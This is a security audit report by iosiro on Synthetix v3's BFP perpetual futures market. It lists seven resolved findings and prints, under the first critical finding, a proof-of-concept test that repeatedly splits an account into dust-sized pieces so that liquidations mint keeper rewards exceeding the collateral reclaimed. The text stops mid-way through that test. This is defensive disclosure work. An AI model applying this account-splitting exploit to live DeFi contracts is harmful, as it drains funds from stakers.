<style>
@import url(https://fonts.googleapis.com/css2?family=Montserrat:wght@400;500;600;700&display=swap);@import url('https://fonts.googleapis.com/css2?family=Source Code Pro:wght@400;500;600;700&display=swap');ul{opacity:1;}table{border:none !important;}a,code,pre,tt{overflow-wrap:break-word;word-wrap:break-word}.chroma .lntable,.chroma .lntd{margin:0;border:0;padding:0}pre,table{width:100%}.findings-count td,.findings-count th,.rating-critical,.rating-high,.rating-informational,.rating-low,.rating-medium,.status-closed,.status-open,.status-resolved{text-align:center}.rating-critical,.rating-high,.rating-informational,.rating-low,.rating-medium,.status-closed,.status-open,.status-resolved,a,h1,h2,h3{font-weight:500}:root{--color-link:#f66263;--color-heading:#f66263;--color-codeblock:#f5f2f0;--color-codeblock-border:#f5f2f0;--color-critical:#cc7ab9;--color-high:#ff6263;--color-medium:#f68463;--color-low:#f6b263;--color-informational:#6ba2f6;--color-open:#f6d263;--color-closed:#b6b6b6;--color-resolved:#9fbf9f;--size-200:0.694rem;--size-300:0.833rem;--size-400:1rem;--size-500:1.2rem;--size-600:1.44rem;--size-700:1.728rem;--size-800:2.074rem;--size-900:2.488rem}.report-container{color:#222;font-family:Montserrat,sans-serif;line-height:1.6;margin:1rem;font-size:var(--size-400)}a{color:var(--color-link)}@media screen and (min-width:1600px){.report-main{display:grid;grid-template-columns:25%,75%;grid-gap:0.5em}.toc{grid-column:1;max-width:30em}.frontpage-logo,.frontpage-subtitle,.frontpage-title,.report{grid-column:2}}@media screen and (max-width:1599px){ .report-main{ margin: 0 auto;max-width:70em} }h1,h2,h3,h4,h5,h6{margin-bottom:0}.toc>ul>li>a,dt,h4,h5,h6,table th{font-weight:600}h1,h2{color:var(--color-heading)}h1{font-size:var(--size-800)}h2{font-size:var(--size-700)}h3{font-size:var(--size-600)}h4{font-size:var(--size-500)}h1 strong,h2 strong,h3 strong,h4 strong{font-weight:400;font-size:.7em;font-family:"Source Code Pro",monospace}h2 strong::after{content:"\a";white-space:pre}code,pre,tt{font-family:"Source Code Pro",monospace,sans-serif;background-color:var(--color-codeblock);white-space:pre-wrap}code,tt{padding:1px 3px;border-radius:2px}pre{box-sizing:border-box;padding:10px;overflow:auto;word-break:break-all}pre code,tt{font-size:inherit;background:0 0;border:none;padding:0}.findings code,h2 code{background-color:inherit;border-width:0}@media screen and (min-width:600px){dl{display:grid;grid-gap:0.5em}dt{grid-column:1}dd{grid-column:2}}@media screen and (max-width:599px){dl{display:block}}table{background-color:inherit;max-width:100%;min-width:100%;border:none}table thead th{border-bottom:2px solid #222}table td,table th{text-align:left;border:none}table,td,th{border-collapse:collapse}.findings-count thead tr th:first-of-type{border-style:none}.findings-count tbody th{text-align:right;padding-right:.75em;border-right:2px solid #222;width:5em}.findings-count td:nth-child(2),.rating-critical{background-color:var(--color-critical)}.findings-count td:nth-child(3),.rating-high{background-color:var(--color-high)}.findings-count td:nth-child(4),.rating-medium{background-color:var(--color-medium)}.findings-count td:nth-child(5),.rating-low{background-color:var(--color-low)}.findings-count td:nth-child(6),.rating-informational{background-color:var(--color-informational)}.status-open{background-color:var(--color-open)}.status-closed{background-color:var(--color-closed)}.status-resolved{background-color:var(--color-resolved)}#document-control table,.findings td,.metadata td{font-size:.9em}.findings td:first-of-type{white-space:nowrap;word-break:keep-all;font-family:"Source Code Pro",monospace;vertical-align:top}.findings td:nth-of-type(2){vertical-align:bottom}@media screen{.audit-header,.report{max-width:65rem}h1{margin-top:3em}h2{margin-top:2em}table th{padding:6px}table td{padding:8px 6px}.findings td:nth-of-type(2){min-width:2em}}.metadata td:last-of-type{background-color:#eee}.metadata td:first-of-type,.metadata td:nth-of-type(2){width:8em}.toc ul{list-style:none;margin-left:0;padding-left:0}.toc li ul{margin-left:3em}.toc{counter-reset:tocSectionCounter}.toc>ul>li::before{content:counter(tocSectionCounter) ". ";font-weight:600;padding-right:4px}.toc>ul>li{counter-increment:tocSectionCounter}.report{counter-reset:sectionCounter}.report h1::before{content:counter(sectionCounter) ". ";font-weight:400;padding-right:6px}.report h1{counter-increment:sectionCounter}hr{display:none}@media print{.toc li a,h1,h2{color:#222}dd,dt{margin:.2em 0;break-inside:avoid}dl,pre{page-break-inside:auto;break-inside:auto}dd,dt,pre{padding:0}.toc li a,.toc li a::after,pre{background-color:#fff}td{min-width:2em}pre,td{word-break:break-word}h1,h2{margin-top:0}#document-control,.break-before,h1,hr{page-break-before:always}h1{font-size:18pt}h2{font-size:16pt}h3{font-size:14pt}.frontpage-subtitle,h4{font-size:12pt}.toc,p,ul,ol,dl{font-size:11pt}summary{list-style:none;font-size:1.1em;margin-bottom:1em}.toc{background:0 0;max-width:100%;counter-reset:page;line-height:1.6}.toc li a::after{content:target-counter(attr(href),page);float:right;position:absolute;right:0;padding-left:3px}.toc li ul{margin-left:1.5em}.toc li{overflow-x:hidden;max-width:98.5%;text-align:left}.toc li ul li::after{content:".............................................." ".............................................." ".............................................." "........";float:left;width:0;letter-spacing:6px}footer,header{display:none}dd,li,p,p *{text-align:justify}dl{width:100%;display:flex;flex-wrap:wrap}dt{flex:1;min-width:30%}dd{flex:1;min-width:65%}.frontpage-logo{margin-top:75mm;width:65mm;padding-bottom:1cm}.report-container{height:auto}pre{display:inline;font-size:.9em}pre:first-child,pre:last-child{padding:0;margin:0;background-color:#fff}pre *{white-space:pre-wrap;background-color:var(--color-codeblock);padding:1px;word-wrap:normal}.findings td{max-width:20em;overflow-wrap:break-word;text-wrap:balance}.frontpage-title{font-size:20pt;font-weight:700}.metadata td{padding:.3em}.codequality{font-size:.95em}td{padding:4px}}.page-header{margin-top:-1cm;opacity:.8;position:running(pageHeaderRunning)}.page-header svg{width:34mm}@media screen{.page-header{display:none}.frontpage-subtitle,.frontpage-title{text-align:center}.frontpage-logo{width:10em;padding-bottom:.5em;margin-left:auto;margin-right:auto}.frontpage-title{font-size:var(--size-900);font-weight:700}.frontpage-subtitle{font-size:var(--size-500)}}@page{size:A4;margin:2cm 1.6cm;bleed:6mm}@page{@bottom-center{content:"𝗣𝗨𝗕𝗟𝗜𝗖 \A hello@iosiro.com";white-space:pre;color:#b7b7b7;font-size:9pt;font-family:Montserrat,sans-serif}@bottom-right-corner{content:counter(page);font-size:9pt}@top-center{content:element(pageHeaderRunning)}}@page:first{text-align:center;@top-center{content:none}@bottom-right-corner{content:none}}.chroma .lnlinks,a{text-decoration:none}.chroma .lntd,.codequality td{vertical-align:top;font-size:.9em}.chroma .ge,.chroma .sd{font-style:italic}.chroma .gh,.chroma .gp,.chroma .gs,.chroma .gu,.chroma .nc,.chroma .nd,.chroma .ni,.chroma .nl,.chroma .nn,.chroma .nt,.chroma .se,summary{font-weight:700}.bg,.chroma{background-color:var(--color-codeblock)}.chroma .lnlinks{outline:0;color:inherit}.chroma .lntable{border-spacing:0}.chroma .hl{background-color:#d8d8d8}.chroma .ln,.chroma .lnt{white-space:pre;-webkit-user-select:none;user-select:none;margin-right:.4em;padding:0 .4em;color:#7f7f7f}.chroma .line{display:flex}.chroma .k,.chroma .kc,.chroma .kd,.chroma .kn,.chroma .kr,.chroma .ow{color:#007020;font-weight:700}.chroma .cp,.chroma .cpf,.chroma .kp,.chroma .nb,.chroma .ne{color:#007020}.chroma .kt{color:#902000}.chroma .dl,.chroma .na,.chroma .s,.chroma .s1,.chroma .s2,.chroma .sa,.chroma .sb,.chroma .sc,.chroma .sd,.chroma .se,.chroma .sh{color:#4070a0}.chroma .nc,.chroma .nn{color:#0e84b5}.chroma .no{color:#60add5}.chroma .nd{color:#555}.chroma .ni{color:#d55537}.chroma .nf{color:#06287e}.chroma .nl{color:#002070}.chroma .nt{color:#062873}.chroma .nv{color:#bb60d5}.chroma .si{color:#70a0d0}.chroma .gp,.chroma .sx{color:#c65d09}.chroma .sr{color:#235388}.chroma .ss{color:#517918}.chroma .il,.chroma .m,.chroma .mb,.chroma .mf,.chroma .mh,.chroma .mi,.chroma .mo{color:#40a070}.chroma .o{color:#666}.chroma .c,.chroma .c1,.chroma .ch,.chroma .cm{color:#60a0b0;font-style:italic}.chroma .cs{color:#60a0b0;background-color:#fff0f0}.chroma .gd{color:#a00000}.chroma .gr{color:red}.chroma .gh{color:navy}.chroma .gi{color:#00a000}.chroma .go{color:#888}.chroma .gu{color:purple}.chroma .gt{color:#04d}.chroma .gl{text-decoration:underline}.chroma .w{color:#bbb}.container{max-width:100%}
</style>
<div class="report-container">
<main class="report-main">
<nav class="toc">
<h1>Contents</h1>
<ul>
<li>
<a href="#introduction">Introduction</a></li>
<li>
<a href="#disclaimer">Disclaimer</a></li>
<li>
<a href="#methodology">Methodology</a></li>
<li>
<a href="#audit-findings">Audit findings</a><ul>
<li>
<a href="#io-snx-bfp-001-accounts-without-a-position-could-be-split">IO-SNX-BFP-001 Accounts without a position could be split</a></li>
<li>
<a href="#io-snx-bfp-002-splitaccount-could-leave-the-account-in-a-liquidatable-state">IO-SNX-BFP-002 splitAccount() could leave the account in a liquidatable state</a></li>
<li>
<a href="#io-snx-bfp-003-liquidatemarginonly-paid-reward-when-liquidating-empty-accounts">IO-SNX-BFP-003 liquidateMarginOnly() paid reward when liquidating empty accounts</a></li>
<li>
<a href="#io-snx-bfp-004-traders-could-control-order-settlement">IO-SNX-BFP-004 Traders could control order settlement</a></li>
<li>
<a href="#io-snx-bfp-005-reward-distributor-does-not-use-the-most-recent-version">IO-SNX-BFP-005 Reward Distributor does not use the most recent version</a></li>
<li>
<a href="#io-snx-bfp-006-merged-accounts-can-atomically-merge-again">IO-SNX-BFP-006 Merged accounts can atomically merge again</a></li>
<li>
<a href="#io-snx-bfp-007-reentrancy-originating-from-settlement-hooks">IO-SNX-BFP-007 Reentrancy originating from settlement hooks</a></li>
</ul>
</li>
<li>
<a href="#code-quality-improvement-suggestions">Code quality improvement suggestions</a></li>
<li>
<a href="#specification">Specification</a><ul>
<li>
<a href="#overview-1">Overview</a></li>
<li>
<a href="#account-collateral-and-debt">Account collateral and debt</a></li>
<li>
<a href="#settlement-hooks">Settlement hooks</a></li>
<li>
<a href="#account-splitting-and-merging">Account splitting and merging</a></li>
</ul>
</li>
</ul>
</nav>
<article class="report">
<h1 id="introduction">Introduction</h1>
<p>iosiro was commissioned by <a href="https://www.synthetix.io/">Synthetix</a> to perform a smart contract audit of the Carina release of the Synthetix v3 system, which introduces BFP (Big Freaking Perps) markets. The audit was performed by 4 auditors between 20 February 2024 and 11 April 2024, using a total of 66 resource days.</p>
<h4 id="overview">Overview</h4>
<p>This report presents the findings of an audit performed by iosiro of Synthetix’s BFP Market Carina release, an implementation of their Perpetual Futures market built for the Ethereum mainnet. The audit consisted of an initial review of the Carina release, followed by multiple additional reviews of changes that either addressed findings or adapted functionality.</p>
<p>The audit uncovered three critical risk, one high risk, two low risk, and several informational issues, summarized below:</p>
<table class="findings-count">
<thead>
<tr>
<th></th>
<th>Critical</th>
<th>High</th>
<th>Medium</th>
<th>Low</th>
<th>Informational</th>
</tr>
</thead>
<tbody>
<tr>
<th>Open</th>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
</tr>
<tr>
<th>Resolved</th>
<td>3</td>
<td>1</td>
<td>0</td>
<td>2</td>
<td>7</td>
</tr>
<tr>
<th>Closed</th>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
</tr>
</tbody>
</table>
<p>The critical and high risk issues primarily impacted stakers, as an attacker could cause the keeper rewards to exceed the value of the reclaimable collateral. All critical and high risk issues were remediated shortly after being reported, and are summarized below:</p>
<ul>
<li>Accounts without any collateral or positions would satisfy the conditions for liquidating margin only, resulting in fees being minted to the caller without any collateral being reclaimed.</li>
<li>Accounts could be split into sufficiently small sizes that were eligible for liquidation, resulting in liquidation fees being minted that were of higher value than the collateral that was reclaimed.</li>
<li>Accounts could be split into fractions that would satisfy the condition for liquidating margin only, resulting in fees being minted to the caller without any collateral being reclaimed.</li>
<li>Traders could control when their orders could be settled using the modify collateral permissions and the merge account settlement hook.</li>
</ul>
<p>The low risk and informational findings are mainly related to improving code quality and optimizing gas consumption. All of these issues were addressed.</p>
<hr />
<h4 id="scope">Scope</h4>
<p>The assessment focused on source files listed below, with all other files considered out of scope. Any out-of-scope code interacting with the assessed code was presumed to operate correctly without introducing functional or security vulnerabilities.</p>
<ul>
<li><strong>Initial project name:</strong> bfp-market</li>
<li><strong>Commits:</strong> <a href="https://github.com/Synthetixio/bfp-market/commit/e2c71290e4f72ff243558135972d6c0f8aa1f42b">e2c7129</a></li>
<li><strong>Files:</strong> <code>contracts/*</code></li>
</ul>
<p><em>Note: during the project, this repository was deprecated in favor of merging the BFP market code into the main Synthetix V3 repository.</em></p>
<ul>
<li><strong>Final project name:</strong> synthetix-v3</li>
<li><strong>Commits:</strong> <a href="https://github.com/Synthetixio/synthetix-v3/commit/9727d1d2fc43eafac93d2fe02a2e7e9eafa0243e">9727d1d</a>, <a href="https://github.com/Synthetixio/synthetix-v3/commit/5d7171778a3250cd97c439f8d8bf7dcce3444414">5d71717</a></li>
<li><strong>Final commit:</strong> <a href="https://github.com/Synthetixio/synthetix-v3/commit/2705b285f92a12c2b84cb2dba5b73f335b80b819">2705b28</a></li>
<li><strong>Files:</strong> <code>markets/bfp-market/contracts/*</code></li>
</ul>
<p>A specification is available in the <a href="#specification">Specification section</a> of this report.</p>
<h1 id="disclaimer">Disclaimer</h1>
<p>This report aims to provide an overview of the assessed smart contracts' risk exposure and a guide to improving their security posture by addressing identified issues. The audit, limited to specific source code at the time of review, sought to:</p>
<ul>
<li>Identify potential security flaws.</li>
<li>Verify that the smart contracts' functionality aligns with their documentation.</li>
</ul>
<p>Off-chain components, such as backend web application code, keeper functionality, and deployment scripts were explicitly not in-scope of this audit.</p>
<p>Given the unregulated nature and ease of cryptocurrency transfers, operations involving these assets face a high risk from cyber attacks. Maintaining the highest security level is crucial, necessitating a proactive and adaptive approach which takes into account the experimental and rapidly evolving nature of blockchain technology. To encourage secure code development, developers should:</p>
<ul>
<li>Integrate security throughout the development lifecycle.</li>
<li>Employ defensive programming to mitigate the risks posed by unexpected events.</li>
<li>Adhere to current best practices wherever possible.</li>
</ul>
<h1 id="methodology">Methodology</h1>
<p>The audit was conducted using the techniques described below.</p>
<dl>
<dt>Code review</dt>
<dd>The source code was manually inspected to identify potential security flaws. Code review is a useful approach for detecting security flaws, discrepancies between the specification and implementation, design improvements, and high-risk areas of the system.</dd>
<dt>Dynamic analysis</dt>
<dd>The contracts were compiled, deployed, and tested in a test environment, both manually and through the test suite provided. Dynamic analysis was used to identify additional edge-cases, confirm that the code was functional, and to validate the reported issues.</dd>
<dt>Automated analysis</dt>
<dd>Automated tooling was used to detect the presence of various types of security vulnerabilities. Static analysis results were reviewed manually and any false positives were removed. Any true positive results are included in this report.</dd>
</dl>
<h1 id="audit-findings">Audit findings</h1>
<p>The table below provides an overview of the audit's findings. Detailed write-ups are provided below.</p>
<table class="findings">
<thead>
<tr>
<th>ID</th>
<th>Issue</th>
<th>Risk</th>
<th>Status</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<a href="#IO-SNX-BFP-001">IO-SNX-BFP-001</a>
</td>
<td>Accounts without a position could be split</td>
<td class="rating-critical">Critical</td>
<td class="status-resolved">Resolved</td>
</tr>
<tr>
<td>
<a href="#IO-SNX-BFP-002">IO-SNX-BFP-002</a>
</td>
<td>
<code>splitAccount()</code> could leave the account in a liquidatable state
</td>
<td class="rating-critical">Critical</td>
<td class="status-resolved">Resolved</td>
</tr>
<tr>
<td>
<a href="#IO-SNX-BFP-003">IO-SNX-BFP-003</a>
</td>
<td>
<code>liquidateMarginOnly()</code> paid reward when liquidating empty accounts
</td>
<td class="rating-critical">Critical</td>
<td class="status-resolved">Resolved</td>
</tr>
<tr>
<td>
<a href="#IO-SNX-BFP-004">IO-SNX-BFP-004</a>
</td>
<td>Traders could control order settlement</td>
<td class="rating-high">High</td>
<td class="status-resolved">Resolved</td>
</tr>
<tr>
<td>
<a href="#IO-SNX-BFP-005">IO-SNX-BFP-005</a>
</td>
<td>Reward Distributor does not use the most recent version</td>
<td class="rating-low">Low</td>
<td class="status-resolved">Resolved</td>
</tr>
<tr>
<td>
<a href="#IO-SNX-BFP-006">IO-SNX-BFP-006</a>
</td>
<td>Merged accounts can atomically merge again</td>
<td class="rating-low">Low</td>
<td class="status-resolved">Resolved</td>
</tr>
<tr>
<td>
<a href="#IO-SNX-BFP-007">IO-SNX-BFP-007</a>
</td>
<td>Reentrancy originating from settlement hooks</td>
<td class="rating-informational">Informational</td>
<td class="status-resolved">Resolved</td>
</tr>
</tbody>
</table>
<p>Each issue identified during the audit has been assigned a risk rating. The rating is determined based on the criteria outlined below.</p>
<dl>
<dt>Critical risk</dt>
<dd>The issue could result in the theft of funds from the contract or its users.</dd>
<dt>High risk</dt>
<dd>The issue could result in the loss of funds for the contract owner or its users.</dd>
<dt>Medium risk</dt>
<dd>The issue resulted in the code being dysfunctional or the specification being implemented incorrectly.</dd>
<dt>Low risk</dt>
<dd>A design or best practice issue that could affect the ordinary functioning of the contract.</dd>
<dt>Informational</dt>
<dd>An improvement related to best practice or a suboptimal design pattern.</dd>
</dl>
<p>In addition to a risk rating, each issue is assigned a status:</p>
<dl>
<dt>Open</dt>
<dd>The issue remained present in the code as of the final commit reviewed and may still pose a risk.</dd>
<dt>Resolved</dt>
<dd>The issue was identified during the audit and has since been satisfactorily addressed, removing the risk it posed.</dd>
<dt>Closed</dt>
<dd>The issue was identified during the audit and acknowledged by the developers as an acceptable risk without actioning any change.</dd>
</dl>
<p><a name="IO-SNX-BFP-001"></a></p>
<h2 class="break-before" id="io-snx-bfp-001-accounts-without-a-position-could-be-split"><strong>IO-SNX-BFP-001</strong> Accounts without a position could be split</h2>
<table class="metadata">
<tbody>
<tr>
<td class="rating-critical">Critical</td>
<td class="status-resolved">Resolved</td>
<td>
<em>
<a href="https://github.com/Synthetixio/synthetix-v3/blob/8670f238038aa49207781fd8f46faf6568a28386/markets/bfp-market/contracts/modules/PerpAccountModule.sol#L149">PerpAccountModule.sol#L149</a>
</em>
</td>
</tr>
</tbody>
</table>
<p>An account with non-USD margin and debt could be split without requiring an open position. The caller could use <code>proportion = 1 wei</code> to split a dust amount of margin and debt into a new account, this account would pass the liquidation checks since it does not have an open position. By withdrawing the available margin of the small account using <code>MarginModule.modifyCollateral()</code> the tiny account could be left in a state where its margin could be liquidated. The account could then be liquidated using <code>LiquidationModule.liquidateMarginOnly()</code> which pays a liquidation reward greater than the margin reclaimed. This could be exploited by repeating the operation atomically, ultimately reducing the market’s credit capacity and burdening stakers with the debt of the keeper rewards.</p>
<p>The proof of concept below was developed to demonstrate the steps of the attack. To run the test case, add the code below to <code>bfp-market/test/integration/modules/LiquidationModule.test.ts</code> in the <code>liquidatePosition</code> suite of test cases.</p>
<pre tabindex="0" class="chroma"><code><span class="line"><span class="cl"><span class="nx">it</span><span class="p">.</span><span class="nx">only</span><span class="p">(</span><span class="s1">'margin liquidation after split account with no position -- fee printer PoC'</span><span class="p">,</span> <span class="kr">async</span> <span class="p">()</span> <span class="p">=></span> <span class="p">{</span>
</span></span><span class="line"><span class="cl"> <span class="kr">const</span> <span class="p">{</span> <span class="nx">BfpMarketProxy</span> <span class="p">}</span> <span class="o">=</span> <span class="nx">systems</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="c1">// Commit, settle, place position into liquidation, flag for liquidation, liquidate.
</span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="kr">const</span> <span class="nx">orderSide</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"> <span class="kr">const</span> <span class="nx">trader</span> <span class="o">=</span> <span class="nx">traders</span><span class="p">()[</span><span class="mi">0</span><span class="p">];</span>
</span></span><span class="line"><span class="cl"> <span class="kr">const</span> <span class="nx">market</span> <span class="o">=</span> <span class="nx">markets</span><span class="p">()[</span><span class="mi">0</span><span class="p">];</span>
</span></span><span class="line"><span class="cl"> <span class="kr">const</span> <span class="nx">marketId</span> <span class="o">=</span> <span class="nx">market</span><span class="p">.</span><span class="nx">marketId</span><span class="p">();</span>
</span></span><span class="line"><span class="cl"> <span class="kr">const</span> <span class="nx">collateral</span> <span class="o">=</span> <span class="nx">collaterals</span><span class="p">()[</span><span class="mi">2</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="c1">// Set a large enough liqCap to ensure a full liquidation.
</span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="kr">await</span> <span class="nx">setMarketConfigurationById</span><span class="p">(</span><span class="nx">bs</span><span class="p">,</span> <span class="nx">marketId</span><span class="p">,</span> <span class="p">{</span> <span class="nx">liquidationLimitScalar</span><span class="o">:</span> <span class="nx">bn</span><span class="p">(</span><span class="mi">100</span><span class="p">)</span> <span class="p">});</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="kr">const</span> <span class="nx">gTrader1</span> <span class="o">=</span> <span class="kr">await</span> <span class="nx">depositMargin</span><span class="p">(</span>
</span></span><span class="line"><span class="cl"> <span class="nx">bs</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"> <span class="nx">genTrader</span><span class="p">(</span><span class="nx">bs</span><span class="p">,</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl"> <span class="nx">desiredTrader</span><span class="o">:</span> <span class="nx">trader</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"> <span class="nx">desiredMarket</span><span class="o">:</span> <span class="nx">market</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"> <span class="nx">desiredCollateral</span><span class="o">:</span> <span class="nx">collateral</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"> <span class="p">})</span>
</span></span><span class="line"><span class="cl"> <span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="kd">let</span> <span class="nx">order1</span> <span class="o">=</span> <span class="kr">await</span> <span class="nx">genOrder</span><span class="p">(</span><span class="nx">bs</span><span class="p">,</span> <span class="nx">market</span><span class="p">,</span> <span class="nx">collateral</span><span class="p">,</span> <span class="nx">gTrader1</span><span class="p">.</span><span class="nx">collateralDepositAmount</span><span class="p">,</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl"> <span class="nx">desiredLeverage</span><span class="o">:</span> <span class="mi">10</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"> <span class="nx">desiredSide</span><span class="o">:</span> <span class="nx">orderSide</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"> <span class="p">});</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="c1">// open position
</span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="kr">await</span> <span class="nx">commitAndSettle</span><span class="p">(</span><span class="nx">bs</span><span class="p">,</span> <span class="nx">marketId</span><span class="p">,</span> <span class="nx">trader</span><span class="p">,</span> <span class="nx">order1</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="c1">// make price loss
</span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="kr">const</span> <span class="p">{</span> <span class="nx">answer</span><span class="o">:</span> <span class="nx">marketOraclePrice1</span> <span class="p">}</span> <span class="o">=</span> <span class="kr">await</span> <span class="nx">market</span><span class="p">.</span><span class="nx">aggregator</span><span class="p">().</span><span class="nx">latestRoundData</span><span class="p">();</span>
</span></span><span class="line"><span class="cl"> <span class="kr">await</span> <span class="nx">market</span><span class="p">.</span><span class="nx">aggregator</span><span class="p">().</span><span class="nx">mockSetCurrentPrice</span><span class="p">(</span>
</span></span><span class="line"><span class="cl"> <span class="nx">wei</span><span class="p">(</span><span class="nx">marketOraclePrice1</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"> <span class="p">.</span><span class="nx">mul</span><span class="p">(</span><span class="nx">orderSide</span> <span class="o">===</span> <span class="mi">1</span> <span class="o">?</span> <span class="mf">0.913</span> <span class="o">:</span> <span class="mf">1.087</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"> <span class="p">.</span><span class="nx">toBN</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"> <span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="c1">// close position to realize loss
</span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="kr">const</span> <span class="nx">closeOrder</span> <span class="o">=</span> <span class="kr">await</span> <span class="nx">genOrder</span><span class="p">(</span><span class="nx">bs</span><span class="p">,</span> <span class="nx">market</span><span class="p">,</span> <span class="nx">collateral</span><span class="p">,</span> <span class="nx">gTrader1</span><span class="p">.</span><span class="nx">collateralDepositAmount</span><span class="p">,</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl"> <span class="nx">desiredSize</span><span class="o">:</span> <span class="nx">order1</span><span class="p">.</span><span class="nx">sizeDelta</span><span class="p">.</span><span class="nx">mul</span><span class="p">(</span><span class="o">-</span><span class="mi">1</span><span class="p">),</span>
</span></span><span class="line"><span class="cl"> <span class="p">});</span>
</span></span><span class="line"><span class="cl"> <span class="kr">await</span> <span class="nx">commitAndSettle</span><span class="p">(</span><span class="nx">bs</span><span class="p">,</span> <span class="nx">marketId</span><span class="p">,</span> <span class="nx">trader</span><span class="p">,</span> <span class="nx">closeOrder</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="c1">// create to account
</span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="kr">const</span> <span class="nx">toTraderAccountId</span> <span class="o">=</span> <span class="mi">1337</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"> <span class="kr">await</span> <span class="nx">BfpMarketProxy</span><span class="p">.</span><span class="nx">connect</span><span class="p">(</span><span class="nx">trader</span><span class="p">.</span><span class="nx">signer</span><span class="p">)[</span><span class="s1">'createAccount(uint128)'</span><span class="p">](</span><span class="nx">toTraderAccountId</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="c1">//let accountMarginDigest = await BfpMarketProxy.getMarginDigest(trader.accountId, marketId);
</span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="kd">let</span> <span class="nx">toAccountMarginDigest</span> <span class="o">=</span> <span class="kr">await</span> <span class="nx">BfpMarketProxy</span><span class="p">.</span><span class="nx">getMarginDigest</span><span class="p">(</span><span class="nx">toTraderAccountId</span><span class="p">,</span> <span class="nx">marketId</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="kd">let</span> <span class="nx">toAccountMarginLiquidated</span> <span class="o">=</span> <span class="nx">toAccountMarginDigest</span><span class="p">.</span><span class="nx">collateralUsd</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"> <span class="kd">let</span> <span class="nx">accountsUSDBefore</span> <span class="o">=</span> <span class="kr">await</span> <span class="nx">collaterals</span><span class="p">()[</span><span class="mi">0</span><span class="p">].</span><span class="nx">contract</span><span class="p">.</span><span class="nx">balanceOf</span><span class="p">(</span><span class="kr">await</span> <span class="nx">trader</span><span class="p">.</span><span class="nx">signer</span><span class="p">.</span><span class="nx">getAddress</span><span class="p">());</span>
</span></span><span class="line"><span class="cl"> <span class="kd">let</span> <span class="nx">accountsETHBefore</span> <span class="o">=</span> <span class="kr">await</span> <span class="nx">collateral</span><span class="p">.</span><span class="nx">contract</span><span class="p">.</span><span class="nx">balanceOf</span><span class="p">(</span><span class="kr">await</span> <span class="nx">trader</span><span class="p">.</span><span class="nx">signer</span><span class="p">.</span><span class="nx">getAddress</span><span class="p">());</span>
</span></span><span class="line"><span class="cl"> <span class="kd">let</span> <span class="nx">counter</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="k">while</span><span class="p">(</span><span class="nx">counter</span> <span class="o">></span> <span class="mi">0</span><span class="p">){</span>
</span></span><span class="line"><span class="cl"> <span class="c1">// split account and make from pos margin liquidatable
</span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="kr">const</span> <span class="nx">proportion</span> <span class="o">=</span> <span class="mi">100</span><span class="p">;</span> <span class="c1">// to leave dust amount of margin and debt in to account ie > 0
</span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="kr">await</span> <span class="nx">BfpMarketProxy</span><span class="p">.</span><span class="nx">connect</span><span class="p">(</span><span class="nx">trader</span><span class="p">.</span><span class="nx">signer</span><span class="p">).</span><span class="nx">splitAccount</span><span class="p">(</span><span class="nx">trader</span><span class="p">.</span><span class="nx">accountId</span><span class="p">,</span> <span class="nx">toTraderAccountId</span><span class="p">,</span> <span class="nx">marketId</span><span class="p">,</span> <span class="nx">proportion</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="c1">// calc margin lost to liquidation
</span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="nx">toAccountMarginDigest</span> <span class="o">=</span> <span class="kr">await</span> <span class="nx">BfpMarketProxy</span><span class="p">.</span><span class="nx">getMarginDigest</span><span class="p">(</span><span class="nx">toTraderAccountId</span><span class="p">,</span> <span class="nx">marketId</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="nx">toAccountMarginLiquidated</span> <span class="o">=</span> <span class="nx">toAccountMarginLiquidated</span><span class="p">.</span><span class="nx">add</span><span class="p">(</span><span class="nx">toAccountMarginDigest</span><span class="p">.</span><span class="nx">collateralUsd</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="c1">// drop collateral value to make margin liquidatable on to account
